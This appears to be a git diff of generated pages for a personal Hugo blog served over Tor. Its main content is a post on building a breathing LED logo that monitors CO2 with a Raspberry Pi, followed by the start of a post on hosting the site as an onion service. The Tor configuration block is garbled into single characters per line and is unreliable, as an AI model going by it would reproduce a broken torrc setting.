+0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tor/3x-Uihttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/3x-ui/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/3x-ui/Bypasshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/bypass/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/bypass/Debugginghttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/debugging/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/debugging/Privacyhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privacy/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/privacy/Trojanhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/trojan/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/trojan/VPNhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vpn/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vpn/Xrayhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/xray/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/xray/Hedgedochttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hedgedoc/Fri, 29 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hedgedoc/Self-Hostinghttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/self-hosting/Fri, 29 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/self-hosting/Coturnhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/coturn/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/coturn/Element-Callhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/element-call/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/element-call/Livekithttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/livekit/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/livekit/Matrixhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/matrix/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/matrix/Synapsehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/synapse/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/synapse/Webrtchttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/webrtc/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/webrtc/ \ No newline at end of file diff --git a/public/tags/iot/index.html b/public/tags/iot/index.html new file mode 100644 index 0000000..3e07506 --- /dev/null +++ b/public/tags/iot/index.html @@ -0,0 +1,12 @@ +Iot | AlipourIm journeys +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 16 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/iot/index.xml b/public/tags/iot/index.xml new file mode 100644 index 0000000..60ccb92 --- /dev/null +++ b/public/tags/iot/index.xml @@ -0,0 +1,368 @@ +Iot on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/iot/Recent content in Iot on AlipourIm journeysHugo -- 0.146.0enFri, 17 Oct 2025 00:00:00 +0000INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +]]>
    \ No newline at end of file diff --git a/public/tags/iot/page/1/index.html b/public/tags/iot/page/1/index.html new file mode 100644 index 0000000..7c39528 --- /dev/null +++ b/public/tags/iot/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/iot/ + \ No newline at end of file diff --git a/public/tags/letsencrypt/index.html b/public/tags/letsencrypt/index.html new file mode 100644 index 0000000..0ba28f6 --- /dev/null +++ b/public/tags/letsencrypt/index.html @@ -0,0 +1,17 @@ +Letsencrypt | AlipourIm journeys +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/letsencrypt/index.xml b/public/tags/letsencrypt/index.xml new file mode 100644 index 0000000..d703a74 --- /dev/null +++ b/public/tags/letsencrypt/index.xml @@ -0,0 +1,553 @@ +Letsencrypt on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/letsencrypt/Recent content in Letsencrypt on AlipourIm journeysHugo -- 0.146.0enFri, 19 Sep 2025 00:00:00 +0000Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    + + + +
    + + + + + + +H +H +i +i +d +d +d +d +e +e +n +n +S +S +e +e +r +r +v +v +i +i +c +c +e +e +D +P +i +o +r +r +t +v +8 +a +0 +r +/ +1 +l +2 +i +7 +b +. +0 +t +. +o +0 +r +. +1 +h +: +i +3 +d +3 +d +0 +e +1 +n +_ +s +i +t +e +/ + + + + +
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
